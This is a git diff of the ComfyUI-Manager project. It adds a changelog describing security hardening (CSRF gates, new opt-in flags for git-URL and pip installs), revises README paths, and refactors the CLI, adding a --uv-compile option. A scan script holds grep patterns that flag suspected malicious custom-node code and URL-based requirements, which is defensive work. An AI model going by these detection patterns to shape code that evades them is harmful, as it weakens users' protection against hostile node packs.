- name: Publish Custom Node
uses: Comfy-Org/publish-node-action@v1
with:
## Add your own personal access token to your Github Repository secrets and reference it here.
personal_access_token: ${{ secrets.REGISTRY_ACCESS_TOKEN }}
+5 -1
View File
@@ -21,4 +21,8 @@ check2.sh
build
dist
*.egg-info
.env
.env
.claude
test_venv
node_modules/
artifacts/
+177
View File
@@ -0,0 +1,177 @@
# Changelog
All notable changes to **ComfyUI-Manager** are documented in this file.
The format is based on [Keep a Changelog 1.1.0](https://keepachangelog.com/en/1.1.0/),
and this project adheres to [Semantic Versioning 2.0.0](https://semver.org/spec/v2.0.0.html).
## [Unreleased]
## [4.2.2] - 2026-06-15
### Security
- **Dedicated install flags decouple git-URL / pip installs from `security_level`**:
`POST /v2/customnode/install/git_url` and `POST /v2/customnode/install/pip`
(and the batch install path for git URLs not in the custom-node DB) are now
gated by two new `config.ini` `[default]` flags — `allow_git_url_install`
and `allow_pip_install` — instead of `security_level`. Both default to
`false` (secure by default), and a non-loopback listener stays denied unless
`network_mode = personal_cloud` (the existing network-position invariant is
retained — the flags never widen exposure beyond what was possible before).
`security_level` no longer has any effect on these two endpoints, in either
direction. The unknown-pip-package block in batch installs remains
unconditional. Activation requires a restart (no hot reload).
### Migration notes
- **Users running `security_level = weak` or `normal-`**: these environments
could previously use the git-URL / pip install endpoints; after upgrading
they are denied (HTTP 403) until you explicitly opt in by setting
`allow_git_url_install = true` and/or `allow_pip_install = true` in the
`[default]` section of `config.ini`. The flags are NOT auto-seeded from
your `security_level` — explicit opt-in is intentional.
### Fixed
- **pygit2 fallback hardening (Desktop 2.0)**: under `CM_USE_PYGIT2=1` the
pygit2 backend ran `clone_repository` / `remote.fetch` honoring the user's
global git config, so an `insteadOf` rewrite (https→ssh) or credential
helper forced authentication and failed with *"authentication required but
no callback set"*. The system/global/XDG config search path is now blanked
at import time (hermetic libgit2 operations) and SSH-form GitHub URLs are
normalized to anonymous HTTPS on clone and when opening a repo. System
`git` is preferred when available.
- **pygit2 fallback follow-ups**: `list_remotes()` fetches now route through
`_fetch_remote` so the proxy and SSH→HTTPS rewrite apply to every fetch
entry point, with `pull` provided on the proxies via a shared
`_pull_remote` helper. `_to_https_url` now handles `ssh://git@host:port/...`
URLs (drops the custom SSH port instead of mangling it) and collapses
leading slashes; non-scp-form and port-only/IPv6 `ssh://` URLs are returned
unchanged. `clone_repo` omits the `proxy=` kwarg when no proxy is
configured (proxy-less installs keep working on pygit2 < 1.18), and pygit2
is now pinned to `>= 1.18`.
## [4.2.1] - 2026-04-22
Security-hardening release. Contains breaking-ish API changes for
state-mutating endpoints. See **Migration notes** below before upgrading
programmatic clients.
### Security
- **CSRF Content-Type gate**: 18 state-mutation POST handlers (9 in `glob`, 9 in
`legacy`) now reject the three CORS "simple request" Content-Types
(`application/x-www-form-urlencoded`, `multipart/form-data`, `text/plain`).
This closes the residual `<form method="POST">` bypass route that remained
after the GET→POST transition. Legitimate clients using `application/json`
(or no body) are unaffected.
- **`do_fix` security level raised from `high` to `high+`**: aligns the
enforcement gate (`is_allowed_security_level`) with the log text emitted by
`SECURITY_MESSAGE_HIGH_P`. Both `glob/manager_server.py` and
`legacy/manager_server.py` updated in lockstep. Environments running at
`security_level = high` can no longer fix a nodepack — use
`security_level = normal` or lower.
- **Config setters now gated at `middle` security level**:
`POST /v2/manager/db_mode`, `POST /v2/manager/policy/update`, and
`POST /v2/manager/channel_url_list` now check
`is_allowed_security_level('middle')` before mutating configuration (both
`glob` and `legacy`). Closes a pre-existing gap where the write path was
reachable at any security level. Reads (`GET`) remain unrestricted.
### Changed
- **State-changing endpoints converted from `GET` to `POST`** (CSRF hardening):
`/v2/manager/queue/{update_all, reset, start, update_comfyui}`,
`/v2/snapshot/{remove, restore, save}`,
`/v2/comfyui_manager/comfyui_switch_version`,
`/v2/manager/reboot`.
Query-string parameters are preserved where they existed; only the HTTP
method changes.
- **`POST /v2/comfyui_manager/comfyui_switch_version` parameters moved from
query string to JSON body** (REST idiom + body-reading CSRF posture):
The handler now consumes `application/json` with the body shape
`{"ver": "...", "client_id": "...", "ui_id": "..."}` instead of reading
`?ver=...&client_id=...&ui_id=...` from the URL. Because body-reading
handlers are already covered by the CORS-preflight mechanism for
cross-origin protection, the Content-Type rejection gate introduced for
the other state-mutation endpoints is intentionally NOT applied here
(see `comfyui_manager/common/manager_security.py` module docstring).
The first-party JS client in `comfyui_manager/js/comfyui-manager.js`
was updated in the same change; third-party callers must migrate.
- **Config endpoints split into `GET` (read) + `POST` (write)**:
`/v2/manager/{db_mode, policy/update, channel_url_list}`. `GET` returns the
current value; `POST` accepts a JSON body `{"value": "..."}`. The prior
single-method form that accepted a `?value=...` query parameter on either
verb is retired.
- **`openapi.yaml` fully resynchronized** with the server: HTTP methods, the
dual-method splits above, request-body schemas for the new POST setters,
and the `TaskHistoryItem.params` field now match `manager_server.py`.
- **Legacy `restart(self)` → `restart(request)`**: parameter name corrected.
No behavioral change.
### Added
- **Server-push feature flag `extension.manager.supports_csrf_post`** registered
at startup, allowing ComfyUI-frontend (and other clients) to detect
CSRF-POST backend support as a semantic capability contract, without
relying on version string parsing. Manager versions prior to 4.2.1 do not
set the flag — clients should treat its absence as 'incompatible with
POST-only state-mutation endpoints'.
- **E2E test harness variants** for security-level and legacy-mode scenarios:
`tests/e2e/scripts/start_comfyui_legacy.sh`,
`tests/e2e/scripts/start_comfyui_permissive.sh`,
`tests/e2e/scripts/start_comfyui_strict.sh`. See
`docs/guide/GUIDE_E2E_TEST.md` for usage.
- **`COMFYUI_MANAGER_SKIP_MANAGER_REQUIREMENTS` environment variable**: when
set, skips the `manager_requirements.txt` reinstall path. Intended for E2E
environments where those dependencies are provisioned separately.
- **`TaskHistoryItem.params` field** (Pydantic + `openapi.yaml`): mirrors
`QueueTaskItem.params` so that task history retains the original request
payload (nullable when unavailable).
- **Automated endpoint coverage** — pytest E2E + Playwright specs covering all
39 unique `(method, path)` endpoints across `glob` and `legacy`. Coverage is
tracked in `reports/api-coverage-matrix.md` and
`reports/e2e_test_coverage.md`.
### Removed
- **Legacy per-operation POST routes consolidated into `POST /v2/manager/queue/batch`**:
`/v2/manager/queue/{install, uninstall, update, fix, disable, reinstall, abort_current}`.
The first-party JS client already uses `queue/batch`; only third-party
scripts that call the per-operation routes directly are affected.
- **`GET /manager/notice`** (v1, pip-install redirect banner).
`GET /v2/manager/notice` remains available.
### Migration notes
- Third-party clients calling `POST /v2/manager/queue/install` (and the other
per-operation queue routes) must switch to
`POST /v2/manager/queue/batch` with a body such as
`{"install": [{id, ver, ...}], "batch_id": "..."}`. See
`reports/endpoint_scenarios.md` for the full payload shape.
- Programmatic clients that posted to the CSRF-hardened endpoints with
`application/x-www-form-urlencoded`, `multipart/form-data`, or `text/plain`
must switch to `application/json` (or omit the body entirely when the
endpoint takes its parameters from the query string).
- Clients that called any of the methods listed under **Changed → State-changing
endpoints** with `GET` must switch to `POST`. Query parameters remain valid.
- Clients that wrote configuration via
`GET /v2/manager/{db_mode, policy/update, channel_url_list}?value=...`
must switch to `POST` with JSON body `{"value": "..."}`.
- Third-party scripts calling
`POST /v2/comfyui_manager/comfyui_switch_version?ver=...&client_id=...&ui_id=...`
must switch to `POST` with `Content-Type: application/json` and body
`{"ver": "...", "client_id": "...", "ui_id": "..."}`. The query-string
form no longer works.
- Environments running at `security_level = high` can no longer run
`do_fix`. Either lower the security level (`normal`, `normal-`, or `weak`
as appropriate) or skip the fix operation.
- Environments running at `security_level = high` can no longer mutate
`db_mode`, `policy/update`, or `channel_url_list` via POST (returns `403`).
Lower the security level to `normal` or below to change configuration, or
perform the change from a trusted entry point. Read access via `GET` is
unaffected.
[4.2.2]: https://github.com/Comfy-Org/ComfyUI-Manager/compare/v4.2.1...v4.2.2
[4.2.1]: https://github.com/Comfy-Org/ComfyUI-Manager/compare/v4.1b6...v4.2.1
+45 -27
View File
@@ -89,20 +89,20 @@
## Paths
In `ComfyUI-Manager` V3.0 and later, configuration files and dynamically generated files are located under `<USER_DIRECTORY>/default/ComfyUI-Manager/`.
In `ComfyUI-Manager` V4.0.3b4 and later, configuration files and dynamically generated files are located under `<USER_DIRECTORY>/__manager/`.
* <USER_DIRECTORY>
* If executed without any options, the path defaults to ComfyUI/user.
* It can be set using --user-directory <USER_DIRECTORY>.
* <USER_DIRECTORY>
* If executed without any options, the path defaults to ComfyUI/user.
* It can be set using --user-directory <USER_DIRECTORY>.
* Basic config files: `<USER_DIRECTORY>/default/ComfyUI-Manager/config.ini`
* Configurable channel lists: `<USER_DIRECTORY>/default/ComfyUI-Manager/channels.ini`
* Configurable pip overrides: `<USER_DIRECTORY>/default/ComfyUI-Manager/pip_overrides.json`
* Configurable pip blacklist: `<USER_DIRECTORY>/default/ComfyUI-Manager/pip_blacklist.list`
* Configurable pip auto fix: `<USER_DIRECTORY>/default/ComfyUI-Manager/pip_auto_fix.list`
* Saved snapshot files: `<USER_DIRECTORY>/default/ComfyUI-Manager/snapshots`
* Startup script files: `<USER_DIRECTORY>/default/ComfyUI-Manager/startup-scripts`
* Component files: `<USER_DIRECTORY>/default/ComfyUI-Manager/components`
* Basic config files: `<USER_DIRECTORY>/__manager/config.ini`
* Configurable channel lists: `<USER_DIRECTORY>/__manager/channels.ini`
* Configurable pip overrides: `<USER_DIRECTORY>/__manager/pip_overrides.json`
* Configurable pip blacklist: `<USER_DIRECTORY>/__manager/pip_blacklist.list`
* Configurable pip auto fix: `<USER_DIRECTORY>/__manager/pip_auto_fix.list`
* Saved snapshot files: `<USER_DIRECTORY>/__manager/snapshots`
* Startup script files: `<USER_DIRECTORY>/__manager/startup-scripts`
* Component files: `<USER_DIRECTORY>/__manager/components`
## `extra_model_paths.yaml` Configuration
@@ -115,17 +115,17 @@ The following settings are applied based on the section marked as `is_default`.
## Snapshot-Manager
* When you press `Save snapshot` or use `Update All` on `Manager Menu`, the current installation status snapshot is saved.
* Snapshot file dir: `<USER_DIRECTORY>/default/ComfyUI-Manager/snapshots`
* Snapshot file dir: `<USER_DIRECTORY>/__manager/snapshots`
* You can rename snapshot file.
* Press the "Restore" button to revert to the installation status of the respective snapshot.
* However, for custom nodes not managed by Git, snapshot support is incomplete.
* When you press `Restore`, it will take effect on the next ComfyUI startup.
* The selected snapshot file is saved in `<USER_DIRECTORY>/default/ComfyUI-Manager/startup-scripts/restore-snapshot.json`, and upon restarting ComfyUI, the snapshot is applied and then deleted.
* The selected snapshot file is saved in `<USER_DIRECTORY>/__manager/startup-scripts/restore-snapshot.json`, and upon restarting ComfyUI, the snapshot is applied and then deleted.
![model-install-dialog](https://raw.githubusercontent.com/ltdrdata/ComfyUI-extension-tutorials/Main/ComfyUI-Manager/images/snapshot.jpg)
## cm-cli: command line tools for power user
## cm-cli: command line tools for power users
* A tool is provided that allows you to use the features of ComfyUI-Manager without running ComfyUI.
* For more details, please refer to the [cm-cli documentation](docs/en/cm-cli.md).
@@ -169,12 +169,12 @@ The following settings are applied based on the section marked as `is_default`.
}
```
* `<current timestamp>` Ensure that the timestamp is always unique.
* "components" should have the same structure as the content of the file stored in `<USER_DIRECTORY>/default/ComfyUI-Manager/components`.
* "components" should have the same structure as the content of the file stored in `<USER_DIRECTORY>/__manager/components`.
* `<component name>`: The name should be in the format `<prefix>::<node name>`.
* `<compnent nodeata>`: In the nodedata of the group node.
* `<component node data>`: In the node data of the group node.
* `<version>`: Only two formats are allowed: `major.minor.patch` or `major.minor`. (e.g. `1.0`, `2.2.1`)
* `<datetime>`: Saved time
* `<packname>`: If the packname is not empty, the category becomes packname/workflow, and it is saved in the <packname>.pack file in `<USER_DIRECTORY>/default/ComfyUI-Manager/components`.
* `<packname>`: If the packname is not empty, the category becomes packname/workflow, and it is saved in the <packname>.pack file in `<USER_DIRECTORY>/__manager/components`.
* `<category>`: If there is neither a category nor a packname, it is saved in the components category.
```
"version":"1.0",
@@ -189,7 +189,7 @@ The following settings are applied based on the section marked as `is_default`.
* Dragging and dropping or pasting a single component will add a node. However, when adding multiple components, nodes will not be added.
## Support of missing nodes installation
## Support for installing missing nodes
![missing-menu](https://raw.githubusercontent.com/ltdrdata/ComfyUI-extension-tutorials/Main/ComfyUI-Manager/images/missing-menu.jpg)
@@ -214,6 +214,8 @@ The following settings are applied based on the section marked as `is_default`.
model_download_by_agent = <When downloading models, use an agent instead of torchvision_download_url.>
downgrade_blacklist = <Set a list of packages to prevent downgrades. List them separated by commas.>
security_level = <Set the security level => strong|normal|normal-|weak>
allow_git_url_install = <Allow installing custom nodes from arbitrary git URLs. Independent of security_level. Default: False>
allow_pip_install = <Allow installing arbitrary pip packages via the Manager. Independent of security_level. Default: False>
always_lazy_install = <Whether to perform dependency installation on restart even in environments other than Windows.>
network_mode = <Set the network mode => public|private|offline|personal_cloud>
```
@@ -229,10 +231,10 @@ The following settings are applied based on the section marked as `is_default`.
* Logging to file feature
* This feature is enabled by default and can be disabled by setting `file_logging = False` in the `config.ini`.
* Fix node(recreate): When right-clicking on a node and selecting `Fix node (recreate)`, you can recreate the node. The widget's values are reset, while the connections maintain those with the same names.
* Fix node (recreate): When right-clicking on a node and selecting `Fix node (recreate)`, you can recreate the node. The widget's values are reset, while the connections maintain those with the same names.
* It is used to correct errors in nodes of old workflows created before, which are incompatible with the version changes of custom nodes.
* Double-Click Node Title: You can set the double click behavior of nodes in the ComfyUI-Manager menu.
* Double-Click Node Title: You can set the double-click behavior of nodes in the ComfyUI-Manager menu.
* `Copy All Connections`, `Copy Input Connections`: Double-clicking a node copies the connections of the nearest node.
* This action targets the nearest node within a straight-line distance of 1000 pixels from the center of the node.
* In the case of `Copy All Connections`, it duplicates existing outputs, but since it does not allow duplicate connections, the existing output connections of the original node are disconnected.
@@ -298,17 +300,17 @@ When you run the `scan.sh` script:
* It updates the `github-stats.json`.
* This uses the GitHub API, so set your token with `export GITHUB_TOKEN=your_token_here` to avoid quickly reaching the rate limit and malfunctioning.
* To skip this step, add the `--skip-update-stat` option.
* To skip this step, add the `--skip-stat-update` option.
* The `--skip-all` option applies both `--skip-update` and `--skip-stat-update`.
## Troubleshooting
* If your `git.exe` is installed in a specific location other than system git, please install ComfyUI-Manager and run ComfyUI. Then, specify the path including the file name in `git_exe = ` in the `<USER_DIRECTORY>/default/ComfyUI-Manager/config.ini` file that is generated.
* If your `git.exe` is installed in a specific location other than system git, please install ComfyUI-Manager and run ComfyUI. Then, specify the path including the file name in `git_exe = ` in the `<USER_DIRECTORY>/__manager/config.ini` file that is generated.
* If updating ComfyUI-Manager itself fails, please go to the **ComfyUI-Manager** directory and execute the command `git update-ref refs/remotes/origin/main a361cc1 && git fetch --all && git pull`.
* If you encounter the error message `Overlapped Object has pending operation at deallocation on Comfyui Manager load` under Windows
* If you encounter the error message `Overlapped Object has pending operation at deallocation on ComfyUI Manager load` under Windows
* Edit `config.ini` file: add `windows_selector_event_loop_policy = True`
* if `SSL: CERTIFICATE_VERIFY_FAILED` error is occured.
* If the `SSL: CERTIFICATE_VERIFY_FAILED` error occurs.
* Edit `config.ini` file: add `bypass_ssl = True`
@@ -324,12 +326,14 @@ The security settings are applied based on whether the ComfyUI server's listener
| Risky Level | features |
|-------------|---------------------------------------------------------------------------------------------------------------------------------------|
| high+ | * `Install via git url`, `pip install`<BR>* Installation of nodepack registered not in the `default channel`. |
| high | * Fix nodepack |
| high+ | * **Switch ComfyUI version**<BR>* **Fix nodepack** |
| high | _(no features at this tier — `Fix nodepack` promoted to `high+` to align the enforcement gate with the `SECURITY_MESSAGE_HIGH_P` log text)_ |
| middle+ | * Uninstall/Update<BR>* Installation of nodepack registered in the `default channel`.<BR>* Restore/Remove Snapshot<BR>* Install model |
| middle | * Restart |
| low | * Update ComfyUI |
* **Note**: `Install via git url` and `pip install` are no longer gated by `security_level` — they moved to the dedicated flags `allow_git_url_install` / `allow_pip_install`. Installation of a nodepack registered not in the `default channel` likewise requires `allow_git_url_install` (in addition to the `middle+` level preconditions) instead of a `high+` security level. See the [Dedicated install flags](#dedicated-install-flags-allow_git_url_install--allow_pip_install) subsection below.
### Security Level Table
@@ -341,6 +345,20 @@ The security settings are applied based on whether the ComfyUI server's listener
| weak | * All features are available | * All features are available | * `high+` and `middle+` level risky features are not allowed<BR>* `high`, `middle` and `low` level risky features are available
### Dedicated install flags (`allow_git_url_install` / `allow_pip_install`)
The `Install via git url` and `pip install` features are governed by two dedicated `config.ini` flags instead of `security_level`:
* `allow_git_url_install`: Allows installing custom nodes from arbitrary git URLs.
* `allow_pip_install`: Allows installing arbitrary pip packages via the Manager.
* Both flags default to `False` — secure by default. A missing or invalid value (anything other than `true`, case-insensitive) is read as `False`.
* These flags fully **replace** `security_level` for these two features. `security_level` no longer affects them in either direction: a strict security level cannot deny them when the flag is `true`, and a weak security level cannot allow them when the flag is `false`.
* The network-position rule still applies independently: even with a flag enabled, the feature is denied when the server listener is **non-local**, unless `network_mode = personal_cloud`.
* Batch installs of git URLs not registered in the `default channel` are also gated by `allow_git_url_install`, and additionally require the normal batch-install preconditions (the `middle+` rules in the tables above). Unknown pip packages in batch installs remain blocked unconditionally — the flags do not open them.
* Changes to these flags require a restart of ComfyUI to take effect.
* Migration note: if you previously relied on `security_level = weak` or `normal-` to use these features, you must now opt in explicitly by setting the flags in the `[default]` section of `config.ini`. The flags are not auto-seeded from your `security_level`.
# Disclaimer
+2 -2
View File
@@ -37,7 +37,7 @@ find ~/.tmp/default -name "*.py" -print0 | xargs -0 grep -E "crypto|^_A="
echo
echo CHECK3
find ~/.tmp/default -name "requirements.txt" | xargs grep "^\s*https\\?:"
find ~/.tmp/default -name "requirements.txt" | xargs grep "\.whl"
find ~/.tmp/default -name "requirements.txt" | xargs grep "^\s*[^#]*https\?:"
find ~/.tmp/default -name "requirements.txt" | xargs grep "^\s*[^#].*\.whl"
echo
+3
View File
@@ -0,0 +1,3 @@
def main():
from .__main__ import main as _main
_main()
@@ -11,12 +11,9 @@ import typer
from rich import print
from typing_extensions import List, Annotated
import re
import git
import importlib
from ..common import manager_util
# read env vars
# COMFYUI_FOLDERS_BASE_PATH is not required in cm-cli.py
# `comfy_path` should be resolved before importing manager_core
@@ -35,11 +32,12 @@ if not os.path.exists(os.path.join(comfy_path, 'folder_paths.py')):
import utils.extra_config
from ..common import cm_global
from ..legacy import manager_core as core
from ..common import context
from ..legacy.manager_core import unified_manager
from ..common import cnr_utils
from comfyui_manager.common import manager_util
from comfyui_manager.common import cm_global
from comfyui_manager.legacy import manager_core as core
from comfyui_manager.common import context
from comfyui_manager.legacy.manager_core import unified_manager
from comfyui_manager.common import cnr_utils
comfyui_manager_path = os.path.abspath(os.path.dirname(__file__))
@@ -63,9 +61,10 @@ if os.path.exists(os.path.join(manager_util.comfyui_manager_path, "pip_blacklist
def check_comfyui_hash():
try:
repo = git.Repo(comfy_path)
core.comfy_ui_revision = len(list(repo.iter_commits('HEAD')))
core.comfy_ui_commit_datetime = repo.head.commit.committed_datetime
from comfyui_manager.common.git_compat import open_repo
with open_repo(comfy_path) as repo:
core.comfy_ui_revision = repo.iter_commits_count()
core.comfy_ui_commit_datetime = repo.head_commit_datetime
except Exception:
print('[bold yellow]INFO: Frozen ComfyUI mode.[/bold yellow]')
core.comfy_ui_revision = 0
@@ -184,18 +183,22 @@ class Ctx:
cmd_ctx = Ctx()
class NodeInstallError(Exception):
"""Raised when a node installation fails and the caller requested failure propagation."""
pass
def install_node(node_spec_str, is_all=False, cnt_msg='', **kwargs):
exit_on_fail = kwargs.get('exit_on_fail', False)
print(f"install_node exit on fail:{exit_on_fail}...")
raise_on_fail = kwargs.get('raise_on_fail', False)
if core.is_valid_url(node_spec_str):
# install via urls
res = asyncio.run(core.gitclone_install(node_spec_str, no_deps=cmd_ctx.no_deps))
if not res.result:
print(res.msg)
print(f"[bold red]ERROR: An error occurred while installing '{node_spec_str}'.[/bold red]")
if exit_on_fail:
sys.exit(1)
if raise_on_fail:
raise NodeInstallError(node_spec_str)
else:
print(f"{cnt_msg} [INSTALLED] {node_spec_str:50}")
else:
@@ -230,17 +233,34 @@ def install_node(node_spec_str, is_all=False, cnt_msg='', **kwargs):
print("")
else:
print(f"[bold red]ERROR: An error occurred while installing '{node_name}'.\n{res.msg}[/bold red]")
if exit_on_fail:
sys.exit(1)
if raise_on_fail:
raise NodeInstallError(node_name)
def reinstall_node(node_spec_str, is_all=False, cnt_msg=''):
node_spec = unified_manager.resolve_node_spec(node_spec_str)
if core.is_valid_url(node_spec_str):
# URL-based: resolve_node_spec returns the full URL as node_name,
# but internal dicts are keyed by repo basename or cnr_id.
url = node_spec_str.rstrip('/')
cnr = unified_manager.get_cnr_by_repo(url)
if cnr:
node_id = cnr['id']
unified_manager.unified_uninstall(node_id, False)
unified_manager.purge_node_state(node_id)
else:
repo_name = os.path.splitext(os.path.basename(url))[0]
unified_manager.unified_uninstall(repo_name, True)
unified_manager.purge_node_state(repo_name)
node_name, version_spec, _ = node_spec
install_node(node_spec_str, is_all=is_all, cnt_msg=cnt_msg, raise_on_fail=True)
else:
node_spec = unified_manager.resolve_node_spec(node_spec_str)
node_name, version_spec, _ = node_spec
unified_manager.unified_uninstall(node_name, version_spec == 'unknown')
install_node(node_name, is_all=is_all, cnt_msg=cnt_msg)
unified_manager.unified_uninstall(node_name, version_spec == 'unknown')
unified_manager.purge_node_state(node_name)
install_node(node_name, is_all=is_all, cnt_msg=cnt_msg, raise_on_fail=True)
def fix_node(node_spec_str, is_all=False, cnt_msg=''):
@@ -614,14 +634,20 @@ def for_each_nodes(nodes, act, allow_all=True, **kwargs):
nodes = [x for x in nodes if x.lower() not in ['comfy', 'comfyui', 'all']]
total = len(nodes)
i = 1
for x in nodes:
failed = []
for i, x in enumerate(nodes, 1):
try:
act(x, is_all=is_all, cnt_msg=f'{i}/{total}', **kwargs)
except NodeInstallError:
failed.append(x)
except Exception as e:
print(f"ERROR: {e}")
traceback.print_exc()
i += 1
failed.append(x)
if failed:
print(f"\n[bold red]Failed nodes ({len(failed)}/{total}): {', '.join(str(x) for x in failed)}[/bold red]")
sys.exit(1)
app = typer.Typer()
@@ -657,6 +683,14 @@ def install(
help="Skip installing any Python dependencies",
),
] = False,
uv_compile: Annotated[
Optional[bool],
typer.Option(
"--uv-compile",
show_default=False,
help="After installing, batch-resolve all dependencies via uv pip compile",
),
] = False,
user_directory: str = typer.Option(
None,
help="user directory"
@@ -668,11 +702,20 @@ def install(
):
cmd_ctx.set_user_directory(user_directory)
cmd_ctx.set_channel_mode(channel, mode)
cmd_ctx.set_no_deps(no_deps)
if uv_compile and no_deps:
print("[bold red]--uv-compile and --no-deps are mutually exclusive.[/bold red]")
raise typer.Exit(1)
if uv_compile:
cmd_ctx.set_no_deps(True)
else:
cmd_ctx.set_no_deps(no_deps)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
for_each_nodes(nodes, act=install_node, exit_on_fail=exit_on_fail)
pip_fixer.fix_broken()
_finalize_resolve(pip_fixer, uv_compile)
@app.command(help="Reinstall custom nodes")
@@ -699,6 +742,14 @@ def reinstall(
help="Skip installing any Python dependencies",
),
] = False,
uv_compile: Annotated[
Optional[bool],
typer.Option(
"--uv-compile",
show_default=False,
help="After reinstalling, batch-resolve all dependencies via uv pip compile",
),
] = False,
user_directory: str = typer.Option(
None,
help="user directory"
@@ -706,11 +757,20 @@ def reinstall(
):
cmd_ctx.set_user_directory(user_directory)
cmd_ctx.set_channel_mode(channel, mode)
cmd_ctx.set_no_deps(no_deps)
if uv_compile and no_deps:
print("[bold red]--uv-compile and --no-deps are mutually exclusive.[/bold red]")
raise typer.Exit(1)
if uv_compile:
cmd_ctx.set_no_deps(True)
else:
cmd_ctx.set_no_deps(no_deps)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
for_each_nodes(nodes, act=reinstall_node)
pip_fixer.fix_broken()
_finalize_resolve(pip_fixer, uv_compile)
@app.command(help="Uninstall custom nodes")
@@ -755,10 +815,21 @@ def update(
None,
help="user directory"
),
uv_compile: Annotated[
Optional[bool],
typer.Option(
"--uv-compile",
show_default=False,
help="After updating, batch-resolve all dependencies via uv pip compile",
),
] = False,
):
cmd_ctx.set_user_directory(user_directory)
cmd_ctx.set_channel_mode(channel, mode)
if uv_compile:
cmd_ctx.set_no_deps(True)
if 'all' in nodes:
asyncio.run(auto_save_snapshot())
@@ -770,7 +841,8 @@ def update(
break
update_parallel(nodes)
pip_fixer.fix_broken()
_finalize_resolve(pip_fixer, uv_compile)
@app.command(help="Disable custom nodes")
@@ -856,16 +928,28 @@ def fix(
None,
help="user directory"
),
uv_compile: Annotated[
Optional[bool],
typer.Option(
"--uv-compile",
show_default=False,
help="After fixing, batch-resolve all dependencies via uv pip compile",
),
] = False,
):
cmd_ctx.set_user_directory(user_directory)
cmd_ctx.set_channel_mode(channel, mode)
if uv_compile:
cmd_ctx.set_no_deps(True)
if 'all' in nodes:
asyncio.run(auto_save_snapshot())
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
for_each_nodes(nodes, fix_node, allow_all=True)
pip_fixer.fix_broken()
_finalize_resolve(pip_fixer, uv_compile)
@app.command("show-versions", help="Show all available versions of the node")
@@ -968,31 +1052,6 @@ def simple_show(
show_list(arg, True)
@app.command('cli-only-mode', help="Set whether to use ComfyUI-Manager in CLI-only mode.")
def cli_only_mode(
mode: str = typer.Argument(
..., help="[enable|disable]"
),
user_directory: str = typer.Option(
None,
help="user directory"
)
):
cmd_ctx.set_user_directory(user_directory)
cli_mode_flag = os.path.join(cmd_ctx.manager_files_directory, '.enable-cli-only-mode')
if mode.lower() == 'enable':
with open(cli_mode_flag, 'w'):
pass
print("\nINFO: `cli-only-mode` is enabled\n")
elif mode.lower() == 'disable':
if os.path.exists(cli_mode_flag):
os.remove(cli_mode_flag)
print("\nINFO: `cli-only-mode` is disabled\n")
else:
print(f"\n[bold red]Invalid value for cli-only-mode: {mode}[/bold red]\n")
exit(1)
@app.command(
"deps-in-workflow", help="Generate dependencies file from workflow (.json/.png)"
@@ -1087,7 +1146,7 @@ def save_snapshot(
@app.command("restore-snapshot", help="Restore snapshot from snapshot file")
def restore_snapshot(
snapshot_name: str,
snapshot_name: str,
pip_non_url: Optional[bool] = typer.Option(
default=None,
show_default=False,
@@ -1113,13 +1172,24 @@ def restore_snapshot(
restore_to: Optional[str] = typer.Option(
None,
help="Manually specify the installation path for the custom node. Ignore user directory."
)
),
uv_compile: Annotated[
Optional[bool],
typer.Option(
"--uv-compile",
show_default=False,
help="After restoring, batch-resolve all dependencies via uv pip compile",
),
] = False,
):
cmd_ctx.set_user_directory(user_directory)
if restore_to:
cmd_ctx.update_custom_nodes_dir(restore_to)
if uv_compile:
cmd_ctx.set_no_deps(True)
extras = []
if pip_non_url:
extras.append('--pip-non-url')
@@ -1146,8 +1216,11 @@ def restore_snapshot(
except Exception:
print("[bold red]ERROR: Failed to restore snapshot.[/bold red]")
traceback.print_exc()
if uv_compile:
pip_fixer.fix_broken()
raise typer.Exit(code=1)
pip_fixer.fix_broken()
_finalize_resolve(pip_fixer, uv_compile)
@app.command(
@@ -1157,10 +1230,21 @@ def restore_dependencies(
user_directory: str = typer.Option(
None,
help="user directory"
)
),
uv_compile: Annotated[
Optional[bool],
typer.Option(
"--uv-compile",
show_default=False,
help="After restoring, batch-resolve all dependencies via uv pip compile",
),
] = False,
):
cmd_ctx.set_user_directory(user_directory)
if uv_compile:
cmd_ctx.set_no_deps(True)
node_paths = []
for base_path in cmd_ctx.get_custom_nodes_paths():
@@ -1176,9 +1260,10 @@ def restore_dependencies(
for x in node_paths:
print("----------------------------------------------------------------------------------------------------")
print(f"Restoring [{i}/{total}]: {x}")
unified_manager.execute_install_script('', x, instant_execution=True)
unified_manager.execute_install_script('', x, instant_execution=True, no_deps=bool(uv_compile))
i += 1
pip_fixer.fix_broken()
_finalize_resolve(pip_fixer, uv_compile)
@app.command(
@@ -1219,9 +1304,21 @@ def install_deps(
None,
help="user directory"
),
uv_compile: Annotated[
Optional[bool],
typer.Option(
"--uv-compile",
show_default=False,
help="After installing, batch-resolve all dependencies via uv pip compile",
),
] = False,
):
cmd_ctx.set_user_directory(user_directory)
cmd_ctx.set_channel_mode(channel, mode)
if uv_compile:
cmd_ctx.set_no_deps(True)
asyncio.run(auto_save_snapshot())
if not os.path.exists(deps):
@@ -1241,14 +1338,114 @@ def install_deps(
if state == 'installed':
continue
elif state == 'not-installed':
asyncio.run(core.gitclone_install(k, instant_execution=True))
asyncio.run(core.gitclone_install(k, instant_execution=True, no_deps=bool(uv_compile)))
else: # disabled
core.gitclone_set_active([k], False)
pip_fixer.fix_broken()
_finalize_resolve(pip_fixer, uv_compile)
print("Dependency installation and activation complete.")
def _finalize_resolve(pip_fixer, uv_compile) -> None:
"""Run batch resolution if --uv-compile is set, then fix broken packages."""
if uv_compile:
try:
_run_unified_resolve()
except ImportError as e:
print(f"[bold red]Failed to import unified_dep_resolver: {e}[/bold red]")
raise typer.Exit(1)
except typer.Exit:
raise
except Exception as e:
print(f"[bold red]Batch resolution failed: {e}[/bold red]")
raise typer.Exit(1)
finally:
pip_fixer.fix_broken()
else:
pip_fixer.fix_broken()
def _run_unified_resolve():
"""Shared logic for unified batch dependency resolution."""
from comfyui_manager.common.unified_dep_resolver import (
UnifiedDepResolver,
UvNotAvailableError,
attribute_conflicts,
collect_base_requirements,
collect_node_pack_paths,
)
node_pack_paths = collect_node_pack_paths(cmd_ctx.get_custom_nodes_paths())
if not node_pack_paths:
print("[bold yellow]No custom node packs found.[/bold yellow]")
return
print(f"Resolving dependencies for {len(node_pack_paths)} node pack(s)...")
resolver = UnifiedDepResolver(
